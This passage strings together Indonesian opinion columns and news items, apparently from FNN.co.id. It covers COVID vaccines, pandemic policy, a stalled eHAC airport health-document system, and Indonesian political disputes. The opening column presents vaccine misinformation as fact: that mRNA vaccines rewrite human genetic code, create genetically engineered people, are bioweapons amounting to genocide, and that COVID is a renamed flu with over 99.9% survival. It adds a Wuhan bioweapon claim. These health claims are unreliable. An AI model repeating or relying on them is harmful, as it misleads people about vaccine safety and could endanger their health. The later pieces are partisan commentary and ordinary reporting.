vaksin itu dibuat-buat. Berdasarkan apa yang diketahui sejauh ini, vaksin covid jauh lebih berbahaya bagi kesehatan daripada yang dikembangkan sebelumnya. Tidak disetujui oleh Administrasi Makanan dan Obat-obatan AS (FDA) akan sorotan atau pemberitaan terkait bahaya yang ditimbulkan oleh vaksin. Itulah mengapa tidak ada seorang pun yang ingin menjaga dan memelihara kesehatannya mengharapkan pemberian vaksin. Risiko bahaya jangka pendek atau jangka panjang sangat besar, terutama bila dikombinasikan dengan obat lain. Semua itu mengandung bahan-bahan berisiko membahayakan kesehatan. Alih-alih melindungi kesehatan masyarakat, pemerintah di AS, Barat, dan negara lainnya itu mendukung Farmasi Besar, tidak peduli dengan bahaya yang ditimbulkan oleh racun dalam obat-obatan mereka. Beberapa hari sebelumnya, ahli bedah tulang belakang terkemuka/mantan presiden Asosiasi Dokter dan Ahli Bedah Amerika Dr. Lee Merritt menyebut vaksin covid sebagai “obat yang dipersenjatai”. Menurut Merritt, vaksin eksperimental ini adalah “senjata biologis yang dimanipulasi secara biologis”. Setiap ada “siapa pun” menentang keselamatan mereka, mereka akan “disensor”. Merritt mengungkapkan, “Kami memiliki banyak senjata biologis selama bertahun-tahun dan yang sangat saya khawatirkan adalah cacar. Tapi, sebagian besar senjata biologis ini sulit untuk didistribusikan atau ada perawatan untuk mereka.” “Ada sejumlah bukti yang menunjukkan bahwa coronavirus adalah virus yang sangat jinak yang muncul secara alami yang bahkan tidak membuat kebanyakan orang flu, tetapi paling-paling itu akan membuat Anda flu biasa,” jelas Merritt. “Jika kita berada di biowarfare sekarang sebagai bagian dari peperangan multi-dimensi ini, jika Anda memiliki pengobatan di saku belakang Anda, mereka tidak dapat meneror Anda dengan virus,” katanya. “Dan itu penting karena (vaksin) tidak mencegah penularan oleh penerimaan virus sendiri,” tegas Merritt. Menurutnya, tak ada vaksin yang diperlukan untuk flu musiman yang berganti nama menjadi Covid-19 itu. Merritt menekankan, “peluang bertahan hidup” dan pemulihan dari “virus flu” ini melebihi 99,9%. “Ketika divaksin untuk covid, Anda “tidak mendapatkan vaksin,” jelas Merritt. “Apa yang disuntikkan mengubah kode genetik manusia,” ujarnya. “Itu mengubah individu yang divaksin menjadi organisme hasil rekayasa genetika. Kerusakan tidak dapat diubah. Ini akan muncul secara bertahap dari waktu ke waktu yang pada akhirnya sangat mungkin merugikan jutaan atau berpotensi miliaran orang,” lanjut Merritt. Merritt menekankan bahwa jika musuh asing ingin mengobarkan perang biologi pada AS, vaksin mRNA covid yang berbahaya akan menjadi “senjata biner yang sempurna”. Saran Merritt: Bantuan dari apa yang terjadi adalah “mudah”. Merritt tidak sendiri. Ribuan dokter dan ilmuwan di seluruh dunia memperingatkan agar tidak menggunakan vaksin covid eksperimental. Mereka tidak aman, tak melindungi, dan berisiko membahayakan kesehatan jika digunakan sesuai petunjuk. Senjata Biologis? Benarkah Virus Corona yang pertama melanda Kota Wuhan, Provinsi Hubei, China, adalah senjata biologis yang berasal dari Wuhan Institute of Virology, sebuah laboratorium terkait senjata rahasia China yang mengembangkan virus mematikan? Jika benar, jelas ini sangat membahayakan kehidupan manusia di seluruh dunia. Terbukti, ini menular antar manusia. Hal ini diungkapkan oleh seorang ahli perang biologis Israel, Letkol Dany Shoham. Seperti dilansir dari Viva.co.id, Sabtu (25/1/2020 | 20:00 WIB), Minggu ini, Radio Free Asia menyiarkan ulang laporan televisi lokal Wuhan pada 2015, yang menunjukkan laboratorium penelitian virus paling maju di China, yang dikenal sebagai Institut Virologi Wuhan. Diketahui Wuhan memiliki dua laboratorium yang terhubung dengan program bio-warfare. Laboratorium itu adalah satu-satunya tempat yang dinyatakan China mampu mengerjakan virus-virus mematikan. Dany Shoham telah mempelajari senjata biologi China. Menurutnya, institut ini berhubungan dengan program senjata biologi rahasia Beijing. Laboratorium tertentu di institut ini mungkin terlibat dalam hal penelitian dan pengembangan senjata biologis China. “Setidaknya sebagai pelengkap, namun bukan sebagai fasilitas utama penyelarasan senjata biologi,” katanya dikutip dari Washington Times, Sabtu (25/1/2020). Ia juga mengatakan, pengerjaan senjata biologi dilakukan sebagai bagian dari penelitian sipil-militer ganda dan “pasti rahasia”. China sendiri selalu membantah memiliki senjata biologis ofensif. Namun, Departemen Luar Negeri AS, dalam sebuah laporan dua tahun lalu, mengatakan mereka mencurigai China telah terlibat dalam pekerjaan perang biologis terselubung. Tapi, pihak berwenang China sejauh ini mengatakan bahwa asal-usul virus corona, yang telah membunuh banyak orang dan menginfeksi ratusan di pusat Provinsi Hubei, tidak diketahui asal usulnya. Seorang pejabat AS menyebut, ini adalah satu tanda yang tidak menyenangkan, desas-desus semu sejak wabah yang dimulai dari Wuhan tersebut mulai beredar di Internet China yang mengklaim, virus itu adalah bagian dari konspirasi AS untuk menyebarkan senjata kuman. Perlu dicatat, Shoham meraih gelar doktor dalam bidang mikrobiologi medis. Dari 1970-1991, ia merupakan analis senior intelijen militer Israel untuk perang biologi dan kimia di Timur Tengah dan di seluruh dunia. Benarkah ini senjata biologis yang sedang dikembangkan China, seperti sinyalemen seorang perwira intelijen Israel tadi? Jika benar, ini jelas sangat membahayakan kehidupan manusia di dunia. Ditambah lagi jika benar tudingan Dr. Lee Merritt yang menyebut vaksin covid sebagai “obat yang dipersenjatai”, itu sama halnya genosida massal! Penulis adalah Wartawan Senior FNN.co.id.

Menonton Rezim Coba-Coba

ADA tontonan menarik dari iklan televisi era tahun 2000-an. “Buat anak kok coba-coba.” Demikian harapan seorang nenek kepada ibu muda tentang obat gosok yang tepat untuk cucunya. Pesan iklan minyak angin ini bisa ditebak bahwa untuk urusan anak kecil jangan gegabah mengambil keputusan. Sebab bila salah bisa fatal akibatnya. Pesan mulia ini seharusnya dihayati dan diamalkan oleh rezim ini, bahwa segala sesuatu harus dipertimbangkan dengan matang, agar tak menyesal di kemudian hari. Mengelola negara tidak boleh grusa-grusu, serampangan, dan coba-coba. Di tengah pandemi Covid-19 yang semakin meningkat ini, masyarakat sebetulnya menunggu-nunggu kebijakan rezim yang proaktif dan tepat sasaran. Tetapi yang terjadi justru kebijakan gonta-ganti, tambal sulam dan bongkar pasang. Akibatnya banyak sekali kebijakan rezim yang menghasilkan output yang kurang baik. Kebijakan Pembatasan Sosial Berskala Besar (PSBB) misalnya. Ini adalah kebijakan banci dari pelaksanaan lockdown, yang dilakukan oleh beberapa negara lain di seluruh dunia. Pemerintah tak mau keluar duit jika harus lockdown, maka dipilihlah istilah PSBB. Kebijakan setengah hati ini belum berjalan dengan baik, apalagi kemudian anggarannya dikorupsi oleh Menteri Sosial, tiba-tiba berganti nama dengan istilah PPKM (Penerapan Pembatasan Kegiatan Masyarakat). Anehnya, kebijakan PPKM ini dibebankan ke kelompok masyarakat paling bawah yakni RT dan RW. Namanya PPKM Skala Mikro. "Berdasarkan Keputusan Presiden kita, bahwa mulai tanggal 9 Februari 2021 ini akan dilaksanakan PPKM skala mikro. Artinya harus ada posko di desa, posko yang mendampingi Puskesmas, yang mendampingi tim pelacak," kata Ketua Bidang Penanganan Kesehatan Satgas Covid-19 Nasional Alexander Kaliaga Ginting dalam siaran pers di twitter BNPB, Jumat 5 Februari 2021. Kebijakan coba-coba juga dilakukan oleh Gubernur Jawa Tengah Ganjar Pranowo. Gubernur andalan PDIP itu awalnya mewajibkan warga Jateng untuk ndhekem (mengurung diri) di rumah selama 2 hari Sabtu-Minggu. Perintah dilakukan secara masif, terstruktur, dan kilat melalui Pemkab dan Pemkot. Surar diedarkan, brosur disebar, video diviralkan, medsos dikerahkan, dan media massa digerakkan. Nyatanya masyarakat Jateng keberatan dengan perintah sang gubernur. Mereka beralasan, akhir pekan justru waktu yang tepat untuk mencari nafkah ketika para pekerja kantoran berbelanja. Pedagang kaki lima, asongan, warung kecil, dan pekerja lepas, lebih banyak mengais rejeki di akhir pekan. Tak hanya itu, penolakan juga datang dari Kusdinar Untung Yuni Sukowati, Bupati Sragen. Ia khawatir, PPKM Sabtu-Minggu justru akan meningkatkan jumlah orang hamil. Maklum pada Juni 2020, jumlah kehamilan di Kabupaten Sukoharjo meningkat 10 persen gara-gara diam di rumah. Ganjar pun menyerah, perintah gubernur diubah hanya sekadar himbauan. Aksi coba coba juga dilakukan Walikota Bogor Bima Arya Sugiarto. Politisi PAN itu menutup aktivitas Kota Bogor pada Sabtu-Minggu. Perintah yang tak dibarengi dengan kompensasi itu diprotes masyarakat. Akhirnya perintah diubah menjadi tindakan persuasi, yakni setiap kendaraan yang hendak ke Bogor diminta putar balik. Lain lagi mantra coba-coba yang dideklarasikan Menteri Keuangan Sri Mulyani Indrawati. Sadar persediaan uang negara tinggal recehan, ia memotong anggaran insentif untuk tenaga kesehatan. Perintah tidak populis ini langsung ditolak oleh Ikatan Dokter Indonesia dan komunitas tenaga kesehatan seluruh Indonesia. Buntutnya Sri Mulyani membatalkan kebijakan yang tidak bijak itu. Hobi coba-coba tak hanya menyerang walikota, gubernur atau menteri. Jantung kekuasaan juga terkena virus coba-coba. Kepala Staf Kepresidenan, Moeldoko mencoba berikhtiar ingin menguasai Partai Demokrat untuk kemudian bisa menjadi calon presiden. Namun, ikhtiarnya tampak sekali dilakukan dengan cara kasar dan gegabah. Sebelum libido kekuasaan bisa direngkuh, ia tercium hendak mengkudeta Agus Harimurti Yudhoyono (AHY), pucuk pimpinan Partai Demokrat. Beruntung AHY sigap dan responsif. Ia menggelar konferensi pers menelanjangi kudeta yang gagal yang dilakukan oleh 4 orang mantan kader Demokrat yang kecewa dan 1 orang istana yang ambisius. Moeldoko pun malu dan antiklimkas. Rezim ini tidak sekadar suka coba-coba, tapi juga semaunya bikin aturan. Rakyat dianggap bebek yang bisa diarahkan ke mana saja tunjuk penggembala mau. Tabiatnya sangat bertentangan dengan iklim demokrasi yang lebih fair dan elegan. Rezim tampaknya harus kucing-kucingan dengan masyarakat. Mereka sadar, banyak kebijakan yang diabaikan oleh masyarakat. Maka, banyak kebijakan yang dilakukan secara sembunyi- sembunyi dan dipaksakan. Bahkan tidak aneh, ada keputusan yang dilakukan pada tengah malam. Coba kita simak. Pandemi tak terkendali, yang diurus malah sertifikat tanah. Sistem sekolah jarak jauh yang harus dibenahi, yang disorot malah seragam sekolah. Ekonomi nyungsep, hutang meroket, pengangguran merajalela, yang dibombardir malah aktivis Dinar dan Dirham. Umat Islam butuh keadilan, yang ditangani malah gerakan wakaf nasional. Rezim tak sadar, bahwa saat ini tengah berjangkit fenomena low trust society. Begitulah rezim yang mendewakan strategi coba-coba. Semua berjalan setengah hati, mogol, dan mangkrak. Pun demikian Anda jangan coba coba kritis terhadap rezim, Anda akan dituduh pembangkang, makar, kadrun, radikal, antiNKRI, intoleran dan pejuang khilafah. Label yang tak berdasar dan menyakitkan. Buah yang kita petik hari ini adalah buah yang ditanam 6 tahun yang lalu saat presiden masih jadi gubernur. Ketika itu terjadi kampanye massif di kalangan marhanenis bahwa telah datang ratu adil yang kita tunggu-tunggu. Sosoknya sederhana, polos, jujur, dan rakyat biasa. “Kita akan coba Jokowi jadi presiden. Kita pernah punya presiden militer, kyai, perempuan, dan tekhnokrat. Sekarang kita coba rakyat jelata.” Demikian bisikan yang terdengar di kuping-kuping wong cilik. Urus negara kok coba-coba. (SWS)

Server eHAC Kemenkes Masih Error

Laporan Wartawan FNN, Tony Hasyim Jakarta, FNN - Sampai kemarin (8/02/2021) pemeriksaan dokumen digital hasil tes Covid-19 bagi masyarakat yang ingin melakukan penerbangan domestik dari Bandara Soekarno-Hatta belum juga terlaksana. Padahal para stakeholder di Bandara Soekarno-Hatta sudah sepakat penerapan pemeriksaan dokumen kesehatan eHAC (electronic Health Alert Card) akan dimulai per 1 Februari lalu. Masyarakat yang ingin melakukan perjalanan domestik melalui udara, pelabuhan dan pos lintas batas darat negara juga sudah jauh-jauh hari diwajibkan mengunduh aplikasi eHac tersebut di Google Play atau Apple Store serta dapat diakses melalui inahac.kemkes.go.id. Berdasarkan pengamatan wartawan FNN di check-point pemberangkatan maskapai Lion Air dan Batik Air, petugas Kantor Kesehatan Pelabuhan (KKP) masih melakukan pemeriksaan dokumen bebas Covid-19 dengan cara manual. Proses pemeriksaan ini memakan waktu sekitar 40 detik hingga 60 detik per satu penumpang. Artinya jika satu penerbangan ada 100 orang saja maka pemeriksaan model kuno ini akan memakan waktu 4000-6000 detik atau antara 66-100 menit. Itu kalau semua dokumen terlihat asli secara kasat mata. Jika petugas menemukan kecurigaan bisa membutuhkan waktu lebih lama lagi untuk verifikasi. Pemeriksaan dokumen bebas Covid-19 secara manual tersebut meski tidak sampai menimbulkan kerumuman tapi jika masih diteruskan dipastikan akan menimbulkan kerumuman calon penumpang di jam-jam penerbangan sibuk atau di musim liburan seperti yang terjadi pada musim liburan akhir tahun lalu. Kondisi ini jelas membahayakan keselamatan para penumpang atas resiko penyebaran Covid-19 yang masih mengganas hingga hari ini dan jelas kapan akan berakhir. Sementara pemeriksaan dokumen digital hasil tes COVID-19 ini penting sekali untuk segera dilaksanakan di Bandara Soekarno-Hatta mengingat bandara ini merupakan jangkar penerbangan domestik di mana sebagian besar penumpang pesawat domestik berangkat dari bandara ini ke penjuru lain Tanah Air. Menurut petugas Angkasa Pura dan petugas KKP yang ditemui di Bandara Soekarno-Hatta, mereka sebenarnya sejak 1 Februari sudah siap melakukan pemeriksaan dokumen secara digital. Tapi realisasinya tergantung bagaimana kerjasama pihak laboratorium (pemeriksa tes Covid-19) dengan Kemenkes. “Kalau mereka sudah bekerjasama kita yang dilapangan tidak akan melakukan pemeriksaan seperti ini lagi,” kata seorang petugas yang sedang meneliti dokumen tes Covid-19 yang disodorkan seorang warga yang ingin melakukan penerbangan ke Bali, Senin sore kemarin. Sebelumnya stakeholder di Bandara Soekarno-Hatta Kamis 21 Januari 2021 telah menandatangani Kesepakatan Bersama tentang Digitalisasi Dokumen Kesehatan eHAC Keberangkatan di Bandara Soekarno-Hatta. Penandatanganan Kesepakatan Bersama dilakukan di Bandara Soekarno-Hatta, oleh: PT Angkasa Pura II (Persero) sebagai operator Bandara Soekarno-Hatta Kantor Kesehatan Pelabuhan Kementerian Kesehatan (KKP Kemenkes) Satgas Udara Penanganan COVID-19 Penyedia fasilitas tes COVID-19 di Bandara Soekarno-Hatta (Farma Lab & Kimia Farma Diagnostika) Maskapai (Garuda Indonesia, Citilink Indonesia, Batik Air, Lion Air, Sriwijaya Air, NAM Air, AirAsia Indonesia, Airfast) Pendukung aplikasi E-HAC milik Kemenkes (Vaksinku & Paspor Sehat) PT Gapura Angkasa sebagai pihak ground handling President Director PT Angkasa Pura II (Persero) Muhammad Awaluddin mengatakan digitalisasi dokumen kesehatan/surat keterangan hasil tes COVID-19 menciptakan seamless journey karena calon penumpang pesawat tidak perlu lagi membawa kertas fisik dan melakukan antrian validasi manual. “AP II mendorong stakeholder supaya Bandara Soekarno-Hatta menerapkan digitalisasi surat keterangan hasil tes COVID-19 sebagai syarat perjalanan rute domestik. Dengan demikian, protokol kesehatan dapat dipenuhi lebih mudah, customer experience juga meningkat karena tercipta seamless journey, dan yang tidak kalah penting adalah hal ini turut menghalau praktik pemalsuan surat tes karena validasi dilakukan digital,” ujar Muhammad Awaluddin. Executive General Manager Bandara Soekarno-Hatta Agus Haryadi mengatakan digitalisasi surat tes COVID-19 dilakukan lewat aplikasi eHAC yang dimiliki Kementerian Kesehatan. “Secara sederhana, implementasi digitalisasi surat hasil tes dapat dijelaskan sebagai berikut: Calon penumpang melakukan tes COVID-19 di fasilitas kesehatan (faskes) yang sudah teregistrasi di aplikasi eHAC, seperti Airport Health Center di Bandara Soekarno-Hatta. “Setelah dilakukan tes, faskes mengirim hasil tes yang menyatakan negatif ke eHAC calon penumpang. Kemudian, calon penumpang mendapat QR Code di aplikasi eHAC,” ujar Agus Haryadi. QR Code di eHAC tersebut ditunjukkan calon penumpang di konter check in untuk diperiksa petugas maskapai. Petugas maskapai juga akan ada di titik Security Check Point 2 (SCP 2) untuk memeriksa QR Code bagi calon penumpang yang melakukan self check in atau web check in. “Infrastruktur pendukung sudah siap, di setiap konter check in dan di SCP 2 dipastikan ada alat pembaca QR Code bagi petugas maskapai,” ujar Agus Haryadi. Kepala Kantor Otoritas Bandar Udara Wilayah I Soekarno-Hatta Moh. Alwi menuturkan kolaborasi antarstakeholder di Bandara Soekarno-Hatta termasuk menghadirkan digitalisasi dokumen kesehatan ini diharapkan dapat menghalau praktik pemalsuan dokumen hasil tes COVID-19 agar tidak berulang kembali, dan menjaga kepercayaan masyarakat terhadap transportasi udara. “Calon penumpang pesawat harus melakukan tes COVID-19 sesuai yang dipersyaratkan, ini untuk menjaga agar transportasi udara tetap sehat, aman dan nyaman dalam bepergian”. ujar Moh. Alwi. Kepala Satgas Udara Penanganan COVID-19 Kolonel Pas MA. Silaban (TNI AU) mengatakan pemeriksaaan secara digital sebagai upaya menutup ruang beredarnya surat hasil tes COVID-19 palsu. “Kami mengimbau agar calon penumpang pesawat berhati-hati terhadap penipuan terkait surat tes palsu, tidak tergoda bujuk rayu oknum yang menjanjikan surat tes palsu, dan jangan melakukan pemalsuan surat tes,” ujar Kolonel Pas MA. Silaban (TNI AU). Kepala KKP Kemenkes Bandara Soekarno-Hatta, Darmawali Handoko mengatakan rencananya validasi digital surat hasil tes COVID-19 diberlakukan penuh Februari 2021. Sedangkan Direktur Utama Farma Lab Arie Genipa dan Direktur Utama Kimia Farma Diagnostika Adil Fadilah Bulqini menegaskan penyedia fasilitas kesehatan di Bandara Soekarno-Hatta siap menjalankan digitalisasi surat hasil tes COVID-19 dengan langsung mengirim surat hasil tes ke aplikasi E-HAC. Ketua Indonesia National Air Carriers Association (INACA) Denon Prawiraatmadja menuturkan, “Maskapai nasional mendukung kemudahan pelaksanaan protokol kesehatan guna mewujudkan penerbangan sehat. Petugas maskapai akan membantu pengecekan QR Code calon penumpang pesawat.” Sebuah sumber mengatakan penyebab tertundanya pemeriksaan eHAC di Bandara Soekarno-Hatta disebabkan karena ada gangguan pada server layanan eHAC di Kemenkes. Keadaan ini menyebabkan ketika setiap laboratorium pemeriksa Covid-19 di seluruh fasilitas kesehatan (faskes) yang mau menginput data hasil pemeriksaan hasil tes PCR/Rapid mendapat respon : “Pengiriman Data eHAC gagal. Layanan eHAC tertutup sementara waktu.”

Abu Janda Kagum Kepada Hendropriyono

by Asyari Usman Medan, FNN - Permadi Arya alias Abu Janda belum lama ini diperiksa oleh Bareskrim Polri. Kasusnya adalah tuduhan rasis terhadap Natalius Pigai dan pernyataan dia bahwa Islam agama arogan. Tapi, yang menarik dari kehadiran si Abu di kantor polisi bukan soal pemeriksaan dia itu. Yang menarik adalah pengakuan Abu Janda yang sangat memukau. Bahwa dia sangat kagum kepada Jenderal Hendropriyono –mantan kepala Badan Intelijen Negara (BIN). Ini luar biasa. Sebab, orang–orang yang segenerasi dengan si Abu biasanya kagum pada tokoh yang akan menyelesaikan masalah masa depan, bukan tokoh yang membuat masalah di masa lalu. Tampaknya, dari kekaguman si Abu itu publik bisa paham tentang diri si buzzer. Sekaligus bisa mendapatkan gambaran tentang mengapa si Abu punya semangat juang yang tinggi. Soal tuduhan rasis terhadap Pigai, itu hampir pasti tidak bisa dielakkan lagi. Dan publik pun yakin bahwa Abu hanya bisa lepas dari jerat hukum rasis (SARA) itu kalau Polisi sudah “tidak kagum” lagi kepada dia. Nah, mengapa Abu Janda kagum kepada Pak Hendro? Pertanyaan ini cukup berat untuk dijawab. Tetapi, rata-rata Anda tahu jawabannya. Kecuali Anda itu hanya senang dengan “current affairs” (masalah kekinian), tapi tak suka “old affairs” (masalah kekunoan). Baik, apa gerangan? Tentu yang paling tahu adalah Abu Janda sendiri. Tapi, tidak ada salahnya kalau Anda menduga. Salah satu dugaan itu adalah kemungkinan kekaguman Abu Janda kepada Pak Hendro karena beliau ini serba bisa, serba ada, dan serba besar. Serba bisa, artinya tidak ada yang tak bisa dilakukan oleh Pak Hendro. Baik semasa aktif sebagai tentara maupun setelah pensiun. Beliau punya banyak kelebihan. Banyak anak buah, banyak cara, banyak sumber. Serba ada, artinya tidak ada istilah tak ada, bagi Pak Hendro. Semua harus ada. Harus ada yang bisa melaksanakan keinginan dan perintah beliau semasa pensiun saat ini. Apalagi semasa aktif tempohari. Serba besar, artinya semuanya besar. Punya kekuasaan besar. Urusan yang besar-besar. Punya teman orang-orang besar. Punya mainan besar-besar. Dan pasti pula punya kekayaan besar, tentunya. Tak mungkin kekayaan kecil. Sebab, Pak Hendro itu seorang dermawan. Sponsor macam-macam kegiatan dan tindakan. Ini yang barangkali membuat Abu Janda kagum. Si Abu mengaku baru dua kali bertemu Pak Hendro. Bayangkan, dua kali pertemuan saja bisa kagum besar. Penulis adalah Wartawan Senior FNN.co.id.

“Magic If”

by Zainal Bintang Jakarta FNN - Istilah “Magic If” atau “keajaiban jika”, itu saya kutip dari salah satu cukilan teori ilmu seni peran atau teori teater yang ditemukan dedengkot teater dunia dari Rusia, Constantin Stanislavsky (1863-1938). Salah satu sistem akting yang digagas oleh Stanislavsky adalah “magic if” atau “keajaiban jika”. Sebuah upaya membangun ruang imajinasi seorang aktor untuk dapat mendalami karakter tokoh. Pertanyaan kunci dari metode “keajaiban jika” adalah, “apa yang saya lakukan jika saya adalah tokoh”, “apa yang saya pikirkan jika saya adalah tokoh”, dan “apa yang saya rasakan jika saya adalah tokoh”. Pertanyaan-pertanyaan tersebut akan membantu aktor untuk lebih jauh mengenal tokoh yang akan diperankannya. Teori itu punya korelasi dengan adagium klasik, "Politics is the art of the possible". (Politik adalah seni dari kemungkinan). Diucapkan Pangeran Otto von Bismarck, kelahiran Schonhausen, Germany (1815 – 1898). Otto adalah seorang pembangun kekaisaran Jerman yang ultra-konservatif dan manipulator ahli. Berbicara tentang seni dan teater, tentu analog dengan panggung pentas yang memantulkan fragmen arus besar kehidupan manusia sehari-hari. Dari atas panggung sejumlah seniman teater mencoba merefleksikan kembali “daun-daun kecil” kehidupan yang tercecer dari pohon-pohon besar yang kadangkala luput ditangkap mata biasa. Daripadanya potret tumpukan catatan kehidupan manusia yang sendu, hipokit, psikopat dan riang gembira tersimpan. Adagium “politik adalah seni dari kemungkinan” yang dimainkan dengan cara berseni membuka sejuta kemungkinan. Itu yang menjelaskan mengapa Stanislavsky menyebutnya “magic if” (keajaiban jika). Bayangan tokoh teater dunia itu berkelebat, ketika terjadi kegaduhan mendadak dunia politik akibat kasus isu “kudeta” Demokrat. Ketua Umum Partai Demokrat AHY (Agus Harimurti Yudhoyono) menyampaikan pidato resmi di sebuah panggung yang dirancang, Senin siang (01/02/2021). Mewartakan partainya sedang dalam keadaan bahaya. Ada gerakan gelap menggagas pergantian pengurus partai berlambang mercy itu. Melibatkan elemen negara, meminjam istilah Andi Mallarangeng, mantan Menpora kader ideologis SBY (Soesilo Bambang Yudhoyono) presiden dua priode (2004 – 2014). Moeldoko, Jenderal bintang empat purnawirawan TNI – AD yang kini menjabat Kepala Staf Kepresidenan (KSP) sedang menjadi “tertuduh” selaku aktor utama yang disebut dalam rancangan “kudeta”. Mantan Panglima TNI itu menjadi repot membantah semua “tembakan” yang diarahkan kepadanya. Kasus ini terangkat ke ranah publik. Kasus ini menjadi santapan menu utama “premium time” media elektronik. Mendongkrak nama Demokrat yang selama ini sepi pemberitaan. Jika dirunut seluruh rangkaian tuduhan dan digabung dengan potongan demi potongan bantahan, tidak bisa dipungkiri tersajilah sebuah “teater politik” yang dramatis terkait “politik adalah seni dari kemungkinan”. Jika jeli mencermatinya : Stanislavskypun hadir disitu. AHY memaparkan kegundahannya melalui panggung terbuka yang sangat teateral. Frasa “kudeta” yang seksi dibumbui narasi merangsang “telah mengirim surat kepada presiden Jokowi mempertanyakan langkah Moeldoko”. Mesin giling tersembunyi “magic if” bekerja cepat. Apakah Surat Partai Demnokrat itu ditanggapi atau tidak oleh Jokowi? Itu bukan soal. Isu kudeta Demokrat berhasil melampaui jumlah berita semrawutnya penanganan Covid 19. Tudingan budaya “playing victim” oleh nitizen bermunculan ditujukan kepada AHY. Karekter yang dianggap sebagai penerus “warisan” budaya itu. Sejatinya bagi Moeldoko tembakan isu kudeta menguntungkan dirinya. Sesungguhnya dia sadar bisa menangguk manfaat sebagai “plying victim” di luar rencana. Sejumlah tokoh pendiri Demokrat merapat kepadanya. Membeberkan adanya timbunan keresahan terhadap Demokrat. Ketidakpuasan atas kinerja pengurus lama dibawah komando SBY selaku ketua umum yang kemudian berkelindan kegalauan atas proses keterpilihan AHY sebagai Ketua Umum baru pada Kongres V Demokrat 15 Maret 2020. “Politik itu memang seni dari kemungkinan”. Sesuatu yang tak mungkin dapat diubah menjadi mungkin. Sebaliknya, sesuatu yang mungkin dapat diubah menjadi menjadi tidak mungkin. Dalam politik, strategi dan taktik poco-poco sangat penting. Mendadak berubah itu bukan aib. Bukan kinistaaan, tetapi malah keniscayaan. Kegesitan “merubah haluan mendadak” dimaknai publik sebagai kecerdasan “buatan” khusus yang dimiliki para ketua umum. Semacam bakat alam dan diklaim sebagai karya seni yang bermutu tinggi. Tarik ulur revisi UU Pemilu adalah bagian tak terpisahkan dari dramatisasi teater politik yang sarat dengan “magi if”. Politik sebagai seni dari kemungkinan yang digunakan penguasa, termasuk penguasa partai politik untuk bermain-main dengan kewenangannya. Panggung besar teater politik menampilkan tampang parpol yang terlihat telanjang kehilangan busana idealisme. Telanjang dari perilaku tidak satunya kata dan perbuatan. Tanpa rasa berdosa. Molornya proses Prolegnas (program legislasi nasional) adalah bagian dari inkonsistensi elit politik. Polemik seputar RUU Pemilu dinilai terlalu berkutat pada ambisi kepentingan politik praktis dan kalkulasi parpol dalam menghadapi kontestasi Pemilu 2024. Menurut sementara pengamat, partai yang bersikeras melaksanakan Pilkada Serentak 2024 memiliki kepentingan tersendiri. Inkonsistensi verbal sikap dari partai yang menolak Pilkada pada 2022 dengan alasan Indonesia masih menghadapi pandemi Covid 19 berbanding terbalik ketika penuh sukacita mendukung Pilkada 2020 tetap diadakan 09 Desember 2020. Yang menarik, nyaris semua perubahan haluan politik yang mendadak – mendadak itu, oleh sebuah parpol atau lebih, dibungkus dengan cover apologis : demi kepentingan nusa dan bangsa! Atau harus menyesuaikan diri dengan haluan pembangunan presiden! Politik sebagai seni dari kemungkinan. Bergabung bersama lawan politik sebelumnyapun bukan masalah. Perburuan kekuasaan seakan memberi kartu “kekebalan” moralitas kepada elit politik untuk berubah-ubah seenaknya. Menukarnya dengan opsi lain yang murahan. Karenanya berakibat pupusnya integritas. Mengapa begitu? Bayangan tokoh teater dunia itu-Stanislavsky berkelebat kembali “magic if” itu lagi. Seorang teman mengirim pesan WhatsApp tepat jam tiga subuh saat sholat tahajud. Isinya mengutip sepotong nyanyian “dunia ini panggung sandiwara, ceritanya mudah berubah……”. Potongan syair lagu Si Kribo Ahmad Albar itu membuat saya sempat tersenyum . Tetapi, mendadak berubah getir. Getir lantaran benarnya!! Penulis adalah Wartawan Senior dan Pemerhati Sasalah Sosial Budaya.

Buzzerkrasi Yang Leluasa di Rezim Jokowi

by M. Rizal Fadillah Bandung FNN - Era Pemerintahan Jokowi demokrasi sangat memburuk ambruk. Indeks demokrasi terjun bebas. Cuitan Pak Kwik Kian Gie, mantan Menteri Kordinator Bidang Perekonomian (Menko Ekuin), dan Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas, menyebut kondisi kini berbeda dengan rezim-rezim sebelumnya. Sangat mengerikan kalau berbeda pendapat dengan penguasa. Suasana nampak menakutkan. Bukan karena takut mengkritik, tetapi perbedaan pendapat yang disikapi dengan serangan para buzzer, terutama buzzer rupiah. "Masalah saja pribadi diodal-adil", serunya. Pandangan Kwik disetujui oleh Susi Pudjiastuti, mantan Menteri Kelautan dan Perikanan. Kekuasaan buzzer yang luar biasa sekarang ini. Buzzur begitu bebas dan leluasa untuk menyerang siapa saja yang berbeda pendapat dengan penguasa. Buzzur yang menyerang dengan membabi buta. Namun tidak tersentuh oleh hukum. Negara seperti tanpa ada hukum pada para buzzer. Kenyataan prilaku para buzzur ini menggambarkan pergeseran sistem pemerintahan dari demokrasi kepada buzzerkrasi. Kata buzzer itu dari bahasa Inggris, yang artinya lonceng atau alarm. Dalam makna tradisi Indonesia adalah kentongan. Berfungsi untuk memperbesar gaung dan memanggil orang untuk berkumpul. Buzzer digunakan untuk menyuarakan kandidat, pemimpin, bahkan suara Istana. Keliling dari kampung ke kampung. Dari media satu ke media yang lain. Kalau di media sosial (medsos) buzzer lebih populer saat kini. Ada fungsi dan tugas baru dari situkang pukul kentongan ini. Tugasnya menakut-nakuti seperti terjadi pada kasus Pak Kwik Kian Gie. Apalagi dengan kekuasaan besar, proteksi hukum yang kuat, serta menjadi alat pengancam efektif, maka buzzerkrasi sekarang menjadi sangat fenomenal. Melengkapi multi predikat rezim Jokowi. Mulai dari oligarki, korporatokrasi, otokrasi, kleptokrasi, hingga buzzerkrasi. Yang terakhir ini ternyata sangat berbahaya. Sebab dibentuk memang dengan tugas untuk menyerang lawan. Korporatokrasi atau kleptokrasi hanya memangsa lingkaran kecil dan tertentu, tetapi buzzerkrasi menjadikan oposisi sebagai target. Politisi, cendekiawan, aktivis, hingga rakyat kebanyakan. Pemimpin negara yang tak punya wibawa, miskin gagasan, senang pencitraan dan pengecut, bisanya hanya membayar harga mahal para buzzer. Sayangnya bukan uang pribadi, tetapi menggunakan uang negara. Jika ini yang dilakukan, maka hal itu bukan masuk bagian dari dana sosial atau hibah, tetapi korupsi karena dana buzzer tidak masuk dalam item APBN yang disetujui DPR. Rambahan buzzer cukup luas dan sudah kemana-mana. Tokoh pegiat Keadilan dan Hak Asasi Manusia (HAM) Natalius Pigai menyebut bahwa serangan rasialisme kepada dirinya yang dilakukan pula oleh para buzzer rupiah sudah ratusan, bahkan ribuan kali. Menurut Pigai, 